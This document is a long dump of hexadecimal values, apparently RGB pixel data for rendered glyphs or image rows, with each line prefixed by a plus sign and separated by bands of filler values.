+3A5F1675C02C87DE337CCB2F4E801D05090200000000000066A7268AE23447741B6BAF2885D932 +64A3260A110400000000000020350C61A0257CCC2F87DE337FCF305890210A1104000000000000 +00000079C72E8AE234385B1565A52686DB3281D4313150120000003455148AE2348AE2348AE234 +77C32D000000000000000000000000000000385C1576C12C87DD3377C22D3B6116000000000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE234385B15 +6FB62A86DC3366A8270F19060000003456148AE23475C02C0000000000000000006FB62A8AE234 +3C6116000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000007ECE2F8AE234385B156FB62A86DC3366A827 +0F19060000003456148AE23475C02C0000000000000000006FB62A8AE2343C6116000000010200 +45711A78C52D86DC337ECF3063A2251421080000000000000000003A5F1675C02C87DE337CCB2F +4E801D05090200000000000000000079C72E8AE234385B1565A52686DB3281D431315012253C0E +8AE2347BC92E00000000000000000077C32D8AE23428420F0000000000003A5F1675C02C87DE33 +7CCB2F4E801D05090200000000000000000079C72E8AE234385B1565A52686DB3281D431315012 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE234385B15 +6FB62A86DC3366A8270F19060000003456148AE23475C02C0000000000000000006FB62A8AE234 +3C6116000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000001A2B0A8AE2348AE2348AE2348AE2348AE2348AE234 +77C32D00000000000066A7268AE234416A1866A82784D83264A3260A1104000000000000000000 +79C72E8AE234385B1565A52686DB3281D4313150120000000000003A5F1675C02C87DE337CCB2F +4E801D05090200000000000020350C61A0257CCC2F87DE337FCF305890210A1104000000000000 +0D150563A22586DB326DB2292E4B118AE23482D531000000000000000000000000000000000000 +0000000000000000000000001A2B0A8AE2348AE2348AE2348AE2348AE2348AE23477C32D000000 +0E160581D4318AE234385C150000003456148AE23484D732101B061A2B0A8AE2348AE2348AE234 +8AE2348AE2348AE23477C32D000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000E160581D4318AE234 +385C150000003456148AE23484D732101B0600000001020045711A78C52D86DC337ECF3063A225 +14210800000000000001020045711A78C52D86DC337ECF3063A225142108000000000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE234385B156FB62A86DC33 +66A8270F19060000003456148AE23475C02C0000000000000000006FB62A8AE2343C6116000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDED0000000000004069188AE23487DD3371B92B83D6318AE234 +619F250000000000003658148AE2347AC82E060A0278C42D8AE2343B61160000000000007ECE2F +8AE23486DB326AAE287FD0308AE23463A2250000000000000000001827098AE23488DF33000000 +0000000000000000000000003C62178AE2348AE23482D5318AE2348AE234406918000000000000 +28410F6AAE2873BC2B8AE23477C32D0000000000000000001320076AAE286DB2298AE2348AE234 +6BAF286AAE285B9522000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE23486DB326AAE287FD0308AE23463A22500000000000066A7268AE23481D331 +84D7328AE2348AE2344A791C0000000000007ECE2F8AE23486DB326AAE287FD0308AE23463A225 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000066A7268AE23486DC3365A62682D6318AE2344A791C000000000000 +4069188AE23487DD3371B92B83D6318AE234619F250000001320076AAE286DB2298AE2348AE234 +6BAF286AAE285B952200000000000045711A89E13477C32D66A8277FD0308AE2345B9622000000 +0000007ECE2F8AE23486DB326AAE287FD0308AE23463A22500000000000028410F6AAE2873BC2B +8AE23477C32D000000000000000000000000000000000000000000000000000000000000000000 +0000000000003E65178AE23481D331619F256EB42987DE33253C0E000000000000060A0275BF2C +8AE2348AE23482D5318AE2346AAE280000000000004069188AE23487DD3371B92B83D6318AE234 +619F2500000000000066A7268AE23486DC3365A62682D6318AE2344A791C00000000000045711A +89E13477C32D66A8277FD0308AE2345B962200000000000000000079C72E8AE23484D83281D331 +6BAF287FCF303D631700000028410F6AAE2873BC2B8AE23477C32D000000000000000000000000 +3C62178AE2348AE23482D5318AE2348AE234406918000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE23486DB326AAE287FD0308AE23463A225000000 +070C0385D9328AE234192A0A000000111B068AE23488DF330C1405000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000007ECE2F8AE23486DB326AAE287FD0308AE23463A225000000070C0385D9328AE234 +192A0A000000111B068AE23488DF330C14050000003E65178AE23481D331619F256EB42987DE33 +253C0E0000000000004069188AE23487DD3371B92B83D6318AE234619F25000000000000000000 +79C72E8AE23484D83281D3316BAF287FCF303D631703050184D7328AE234131F070000000F1906 +8AE23486DB320508020000004069188AE23487DD3371B92B83D6318AE234619F25000000000000 +00000079C72E8AE23484D83281D3316BAF287FCF303D6317000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE23486DB326AAE287FD0308AE23463A225000000 +070C0385D9328AE234192A0A000000111B068AE23488DF330C1405000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000001320076AAE286DB2298AE2348AE2346BAF286AAE285B952200000000000066A7268AE234 +81D33184D7328AE2348AE2344A791C00000000000000000079C72E8AE23484D83281D3316BAF28 +7FCF303D63170000004069188AE23487DD3371B92B83D6318AE234619F2500000000000045711A +89E13477C32D66A8277FD0308AE2345B962200000000000065A5268AE2348AE23487DE3380D130 +8AE23482D531000000000000000000000000000000000000000000000000000000000000132007 +6AAE286DB2298AE2348AE2346BAF286AAE285B95220000000000003658148AE2347AC82E060A02 +78C42D8AE2343B61160000001320076AAE286DB2298AE2348AE2346BAF286AAE285B9522000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000003658148AE2347AC82E060A0278C42D8AE2343B6116 +0000000000003E65178AE23481D331619F256EB42987DE33253C0E0000000000003E65178AE234 +81D331619F256EB42987DE33253C0E000000000000000000000000000000000000000000000000 +0000000000000000007ECE2F8AE23486DB326AAE287FD0308AE23463A225000000070C0385D932 +8AE234192A0A000000111B068AE23488DF330C1405000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000EDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +00000005090283D63189E1341C2D0A0000000B130480D2308AE23418280900000000000066A726 +8AE23469AC288AE2346CB0290102000000000000007ECE2F8AE2345991210000001828098AE234 +89E134101B060000000000001827098AE23488DF3300000000000000000000000003050180D230 +8AE2343C6116000000395D158AE23482D63105080200000000000000000027400F8AE23477C32D +0000000000000000000000000000000D15058AE2348AE234060B02000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE234599121000000 +1828098AE23489E134101B0600000066A7268AE23467A92702030146721A8AE23469AC28000000 +0000007ECE2F8AE2345991210000001828098AE23489E134101B06000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000066A726 +8AE2345890210000003A60168AE23469AC2800000005090283D63189E1341C2D0A0000000B1304 +80D2308AE2341828090000000000000D15058AE2348AE234060B02000000000000000000000000 +23390D132007000000000000131F078AE23486DB320203010000007ECE2F8AE234599121000000 +1828098AE23489E134101B0600000000000000000027400F8AE23477C32D000000000000000000 +0000000000000000000000000000000000000000000000000000000000005F9C248AE234335413 +000000000000111B060F18060000000000003B61168AE23482D5311D300B0000000B1304365914 +00000005090283D63189E1341C2D0A0000000B130480D2308AE23418280900000066A7268AE234 +5890210000003A60168AE23469AC2800000000000023390D132007000000000000131F078AE234 +86DB3202030100000000000079C72E8AE2346DB229060B02000000030501131F07000000000000 +00000027400F8AE23477C32D00000000000000000003050180D2308AE2343C6116000000395D15 +8AE23482D631050802000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE2345991210000001828098AE23489E134101B060000005992228AE23447751B000000 +3D63178AE23464A426000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE234599121 +0000001828098AE23489E134101B060000005992228AE23447751B0000003D63178AE23464A426 +0000000000005F9C248AE234335413000000000000111B060F180600000005090283D63189E134 +1C2D0A0000000B130480D2308AE23418280900000000000079C72E8AE2346DB229060B02000000 +030501131F070000005F9C248AE2343658140000003252138AE23463A22500000005090283D631 +89E1341C2D0A0000000B130480D2308AE23418280900000000000079C72E8AE2346DB229060B02 +000000030501131F07000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE2345991210000001828098AE23489E134101B060000005992228AE23447751B000000 +3D63178AE23464A426000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000D15058AE234 +8AE234060B0200000000000000000000000066A7268AE23467A92702030146721A8AE23469AC28 +00000000000000000079C72E8AE2346DB229060B02000000030501131F0705090283D63189E134 +1C2D0A0000000B130480D2308AE23418280900000023390D132007000000000000131F078AE234 +86DB320203010F19068AE2348AE23433541304060168AA278AE23482D531000000000000000000 +0000000000000000000000000000000000000000000000000000000D15058AE2348AE234060B02 +00000000000000000000000000000066A7268AE23469AC288AE2346CB029010200000000000000 +0000000D15058AE2348AE234060B02000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000066A7268AE23469AC288AE2346CB0290102000000000000005F9C248AE234335413 +000000000000111B060F18060000000000005F9C248AE234335413000000000000111B060F1806 +0000000000000000000000000000000000000000000000000000000000000000007ECE2F8AE234 +5991210000001828098AE23489E134101B060000005992228AE23447751B0000003D63178AE234 +64A426000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED00000021360C8AE23487DD3364A326 +64A32664A32681D4318AE234335413000000000000121D0785D9328AE23487DD33172609000000 +0000000000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E000000000000182709 +8AE23488DF330000000000000000000000001B2C0A8AE23485DA3203040100000002030182D631 +8AE2341F330C00000000000000000027400F8AE23477C32D000000000000000000000000000000 +0D15058AE2348AE234060B02000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E000000 +66A7268AE2343C621700000029430F8AE23474BE2C0000000000007ECE2F8AE2342C4811000000 +00000078C42D8AE234253D0E000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000066A7268AE2343A5F1600000028420F8AE234 +74BE2C00000021360C8AE23487DD3364A32664A32664A32681D4318AE234335413000000000000 +0D15058AE2348AE234060B0200000000000000000000000004070234561451851F5A93225B9622 +8AE2348AE2340B13040000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E000000 +00000000000027400F8AE23477C32D000000000000000000000000000000000000000000000000 +0000000000000000000000000000004C7D1D8AE23482D63151851F29420F030401000000000000 +0000005E99238AE2344E801D00000000000000000000000000000021360C8AE23487DD3364A326 +64A32664A32681D4318AE23433541300000066A7268AE2343A5F1600000028420F8AE23474BE2C +00000000000004070234561451851F5A93225B96228AE2348AE2340B130400000000000079C72E +8AE23434551400000000000000000000000000000000000000000027400F8AE23477C32D000000 +0000000000001B2C0A8AE23485DA3203040100000002030182D6318AE2341F330C000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE2342C4811000000000000 +78C42D8AE234253D0E000000263F0E8AE23475C02C00000069AC288AE234335413000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E +000000263F0E8AE23475C02C00000069AC288AE2343354130000000000004C7D1D8AE23482D631 +51851F29420F03040100000000000021360C8AE23487DD3364A32664A32664A32681D4318AE234 +33541300000000000079C72E8AE234345514000000000000000000000000000000375A158AE234 +589021000000548A208AE2343B611600000021360C8AE23487DD3364A32664A32664A32681D431 +8AE23433541300000000000079C72E8AE234345514000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE2342C4811000000000000 +78C42D8AE234253D0E000000263F0E8AE23475C02C00000069AC288AE234335413000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000D15058AE2348AE234060B02000000000000000000 +00000066A7268AE2343C621700000029430F8AE23474BE2C00000000000000000079C72E8AE234 +34551400000000000000000000000021360C8AE23487DD3364A32664A32664A32681D4318AE234 +33541300000004070234561451851F5A93225B96228AE2348AE2340B130428410F8AE23481D331 +0102000000002F4C128AE23482D531000000000000000000000000000000000000000000000000 +0000000000000000000000000D15058AE2348AE234060B02000000000000000000000000000000 +121D0785D9328AE23487DD331726090000000000000000000000000D15058AE2348AE234060B02 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000121D0785D9328AE234 +87DD331726090000000000000000004C7D1D8AE23482D63151851F29420F030401000000000000 +0000004C7D1D8AE23482D63151851F29420F030401000000000000000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE2342C481100000000000078C42D8AE234 +253D0E000000263F0E8AE23475C02C00000069AC288AE234335413000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDED0000002B47108AE2348AE2348AE2348AE2348AE2348AE2348AE2343A5F16 +00000000000000000067A9278AE2346FB62A0000000000000000000000007ECE2F8AE234233A0D +0000000000006FB72A8AE234304F120000000000001827098AE23488DF33000000000000000000 +000000253C0E8AE2347AC82E00000000000000000077C22D8AE23429420F000000000000000000 +27400F8AE23477C32D0000000000000000000000000000000D15058AE2348AE234060B02000000 +0000000000000000000000000000000000000000000000000000000000000000000000007ECE2F +8AE234233A0D0000000000006FB72A8AE234304F1200000066A7268AE23436591400000027400F +8AE23475BF2C0000000000007ECE2F8AE234233A0D0000000000006FB72A8AE234304F12000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000066A7268AE23436591400000027400F8AE23475BF2C0000002B47108AE2348AE234 +8AE2348AE2348AE2348AE2348AE2343A5F160000000000000D15058AE2348AE234060B02000000 +00000000000002030167A8278AE2348AE2348AE2348AE2348AE2348AE2340F19060000007ECE2F +8AE234233A0D0000000000006FB72A8AE234304F1200000000000000000027400F8AE23477C32D +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0A110462A12589E1348AE2348AE2347AC72E16230800000000000068AA278AE2343D6317000000 +0000000000000000000000002B47108AE2348AE2348AE2348AE2348AE2348AE2348AE2343A5F16 +00000066A7268AE23436591400000027400F8AE23475BF2C00000002030167A8278AE2348AE234 +8AE2348AE2348AE2348AE2340F190600000000000079C72E8AE23428410F000000000000000000 +00000000000000000000000027400F8AE23477C32D000000000000000000253C0E8AE2347AC82E +00000000000000000077C22D8AE23429420F000000000000000000000000000000000000000000 +0000000000000000007ECE2F8AE234233A0D0000000000006FB72A8AE234304F12000000020301 +7CCB2F8AE234253C0E89E03485DA32070C03000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE234233A0D0000000000006FB72A8AE234304F120000000203017CCB2F8AE234253C0E +89E03485DA32070C030000000000000A110462A12589E1348AE2348AE2347AC72E162308000000 +2B47108AE2348AE2348AE2348AE2348AE2348AE2348AE2343A5F1600000000000079C72E8AE234 +28410F0000000000000000000000000000000F19068AE2347BC92E00000077C32D8AE234131F07 +0000002B47108AE2348AE2348AE2348AE2348AE2348AE2348AE2343A5F1600000000000079C72E +8AE23428410F000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000007ECE2F8AE234233A0D0000000000006FB72A8AE234304F12000000020301 +7CCB2F8AE234253C0E89E03485DA32070C03000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000D15058AE2348AE234060B0200000000000000000000000066A7268AE234365914000000 +27400F8AE23475BF2C00000000000000000079C72E8AE23428410F000000000000000000000000 +2B47108AE2348AE2348AE2348AE2348AE2348AE2348AE2343A5F1602030167A8278AE2348AE234 +8AE2348AE2348AE2348AE2340F19062D4A118AE23473BD2B0000000000001F330C8AE23482D531 +0000000000000000000000000000000000000000000000000000000000000000000000000D1505 +8AE2348AE234060B0200000000000000000000000000000000000067A9278AE2346FB62A000000 +0000000000000000000000000D15058AE2348AE234060B02000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000067A9278AE2346FB62A000000000000000000000000 +0A110462A12589E1348AE2348AE2347AC72E1623080000000000000A110462A12589E1348AE234 +8AE2347AC72E162308000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE234233A0D0000000000006FB72A8AE234304F120000000203017CCB2F8AE234 +253C0E89E03485DA32070C03000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED00000022380D +8AE23481D3310000000000000000000000000000000000000000000000002E4B118AE2348AE234 +8AE2343557140000000000000000007ECE2F8AE2343353130000000000007ECE2F8AE234253D0E +0000000000001725098AE23489E1340101000000000000000000001B2C0A8AE23485DA32030401 +00000002030182D6318AE2341F330C00000000000000000027400F8AE23477C32D000000000000 +0000000000000000000D15058AE2348AE234060B02000000000000000000000000000000000000 +0000000000000000000000000000000000000000007ECE2F8AE2343353130000000000007ECE2F +8AE234253D0E00000066A7268AE23436591400000027400F8AE23475BF2C0000000000007ECE2F +8AE2343353130000000000007ECE2F8AE234253D0E000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000066A7268AE234365914 +00000027400F8AE23475BF2C00000022380D8AE23481D331000000000000000000000000000000 +0000000000000000000D15058AE2348AE234060B020000000000000000001B2B0A8AE2348AE234 +355714060B02080C038AE2348AE2340F19060000007ECE2F8AE2343353130000000000007ECE2F +8AE234253D0E00000000000000000027400F8AE23477C32D000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000F190635571470B72A +8AE2345B95220000000000005E9A238AE2344D7F1D00000000000000000000000000000022380D +8AE23481D33100000000000000000000000000000000000000000066A7268AE234365914000000 +27400F8AE23475BF2C0000001B2B0A8AE2348AE234355714060B02080C038AE2348AE2340F1906 +00000000000079C72E8AE23427400F00000000000000000000000000000000000000000027400F +8AE23477C32D0000000000000000001B2C0A8AE23485DA3203040100000002030182D6318AE234 +1F330C0000000000000000000000000000000000000000000000000000000000007ECE2F8AE234 +3353130000000000007ECE2F8AE234253D0E0000000000004B7B1C8AE23478C42D8AE2345C9723 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE234335313000000000000 +7ECE2F8AE234253D0E0000000000004B7B1C8AE23478C42D8AE2345C9723000000000000000000 +0000000000000F190635571470B72A8AE2345B952200000022380D8AE23481D331000000000000 +00000000000000000000000000000000000079C72E8AE23427400F000000000000000000000000 +00000000000072BB2B8AE23422370D8AE23476C12C00000000000022380D8AE23481D331000000 +00000000000000000000000000000000000000000079C72E8AE23427400F000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000007ECE2F8AE234 +3353130000000000007ECE2F8AE234253D0E0000000000004B7B1C8AE23478C42D8AE2345C9723 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000D15058AE2348AE234060B02 +00000000000000000000000066A7268AE23436591400000027400F8AE23475BF2C000000000000 +00000079C72E8AE23427400F00000000000000000000000022380D8AE23481D331000000000000 +0000000000000000000000001B2B0A8AE2348AE234355714060B02080C038AE2348AE2340F1906 +22370D8AE2347BCA2E00000000000028420F8AE23482D531000000000000000000000000000000 +0000000000000000000000000000000000000000000D15058AE2348AE234060B02000000000000 +0000000000000000002E4B118AE2348AE2348AE2343557140000000000000000000000000D1505 +8AE2348AE234060B02000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +2E4B118AE2348AE2348AE2343557140000000000000000000000000000000F190635571470B72A +8AE2345B95220000000000000000000000000F190635571470B72A8AE2345B9522000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE234335313000000 +0000007ECE2F8AE234253D0E0000000000004B7B1C8AE23478C42D8AE2345C9723000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000070C0385D9328AE234385C15000000000000 +0B120444701A090E03000000090F037ECE2F8AE2343D63178AE23481D3310C1405000000000000 +7ECE2F8AE2346BAF280508022F4D128AE23489E134101B060000000000000D15058AE2348AE234 +19290900000000000000000003040180D2308AE2343A6016000000385B158AE23482D631050802 +00000000000000000027400F8AE23477C32D000000000000000000000000000000090E038AE234 +8AE234121D07000000000000000000000000000000000000578F2179C72E599121000000000000 +0000000000007ECE2F8AE2346BAF280508022F4D128AE23489E134101B0600000066A7268AE234 +36591400000027400F8AE23475BF2C0000000000007ECE2F8AE2346BAF280508022F4D128AE234 +89E134101B06000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000066A7268AE23436591400000027400F8AE23475BF2C000000 +070C0385D9328AE234385C150000000000000B120444701A090E03000000000000090E038AE234 +8AE234121D07000000000000000000233A0D8AE23489E134020401000000263E0E8AE2348AE234 +0F19060000007ECE2F8AE2346BAF280508022F4D128AE23489E134101B06000000000000000000 +27400F8AE23477C32D000000000000000000000000000000000000000000000000000000000000 +00000000000000000021360C0A1104000000000000263E0E8AE2346AAE280000000000003C6217 +8AE23481D4311C2E0B0000000A1004365814000000070C0385D9328AE234385C15000000000000 +0B120444701A090E0300000066A7268AE23436591400000027400F8AE23475BF2C000000233A0D +8AE23489E134020401000000263E0E8AE2348AE2340F190600000000000079C72E8AE23427400F +00000000000000000000000000000000000000000027400F8AE23477C32D000000000000000000 +03040180D2308AE2343A6016000000385B158AE23482D631050802000000000000000000578F21 +79C72E5991210000000000000000000000007ECE2F8AE2346BAF280508022F4D128AE23489E134 +101B060000000000001827098AE2348AE2348AE2342B4610000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000007ECE2F8AE2346BAF280508022F4D128AE23489E134101B06000000000000 +1827098AE2348AE2348AE2342B461000000000000000000021360C0A1104000000000000263E0E +8AE2346AAE28000000070C0385D9328AE234385C150000000000000B120444701A090E03000000 +00000079C72E8AE23427400F0000000000000000000000000000000000004A791C8AE23467A927 +8AE2344E801D000000000000070C0385D9328AE234385C150000000000000B120444701A090E03 +00000000000079C72E8AE23427400F000000000000000000000000000000000000000000578F21 +79C72E5991210000000000000000000000007ECE2F8AE2346BAF280508022F4D128AE23489E134 +101B060000000000001827098AE2348AE2348AE2342B4610000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000090E038AE2348AE234121D0700000000000000000000000066A726 +8AE23436591400000027400F8AE23475BF2C00000000000000000079C72E8AE23427400F000000 +000000000000000000070C0385D9328AE234385C150000000000000B120444701A090E03233A0D +8AE23489E134020401000000263E0E8AE2348AE2340F19060D150589E0348AE2341B2C0A000000 +53881F8AE23482D531000000000000000000000000578F2179C72E599121000000000000000000 +000000000000090E038AE2348AE234121D07000000000000000000000000090F037ECE2F8AE234 +3D63178AE23481D3310C1405000000000000000000090E038AE2348AE234121D07000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000090F037ECE2F8AE2343D63178AE23481D331 +0C140500000000000021360C0A1104000000000000263E0E8AE2346AAE2800000000000021360C +0A1104000000000000263E0E8AE2346AAE28000000000000000000000000578F2179C72E599121 +0000000000000000000000007ECE2F8AE2346BAF280508022F4D128AE23489E134101B06000000 +0000001827098AE2348AE2348AE2342B4610000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +70707000000000000044701A8AE2348AE2347ECF307BCA2E8AE2348AE2340B1204000000578E21 +8AE234619F250000005D98238AE2345C97230000000000007ECE2F8AE23480D23087DE338AE234 +8AE23463A22500000000000000000000000075BF2C8AE23482D5316BAF286AAE28020301000000 +3C61168AE2348AE23481D4318AE2348AE23440691800000000000065A5266AAE2873BC2B8AE234 +86DB326AAE286AAE28385C150000000000000000007AC72E8AE2347ECF306AAE285B9522000000 +00000000000000000064A3268AE23466A7260000000000000000000000007ECE2F8AE23480D230 +87DE338AE2348AE23463A22500000000000066A7268AE23436591400000027400F8AE23475BF2C +0000000000007ECE2F8AE23480D23087DE338AE2348AE23463A225000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +66A7268AE23436591400000027400F8AE23475BF2C00000000000044701A8AE2348AE2347ECF30 +7BCA2E8AE2348AE2340B12040000000000000000007AC72E8AE2347ECF306AAE285B9522000000 +090E0380D2308AE234568C203C61167BCA2E8AE2348AE2340F19060000007ECE2F8AE23480D230 +87DE338AE2348AE23463A22500000000000065A5266AAE2873BC2B8AE23486DB326AAE286AAE28 +385C15000000000000000000000000000000000000000000000000000000000000548A2086DB32 +6DB229619F257FD0308AE2344B7A1C000000000000070C0377C32D8AE2348AE23481D4318AE234 +6AAE2800000000000044701A8AE2348AE2347ECF307BCA2E8AE2348AE2340B120400000066A726 +8AE23436591400000027400F8AE23475BF2C000000090E0380D2308AE234568C203C61167BCA2E +8AE2348AE2340F190600000000000079C72E8AE23427400F000000000000000000000000000000 +65A5266AAE2873BC2B8AE23486DB326AAE286AAE28385C150000003C61168AE2348AE23481D431 +8AE2348AE23440691800000000000000000000000064A3268AE23466A726000000000000000000 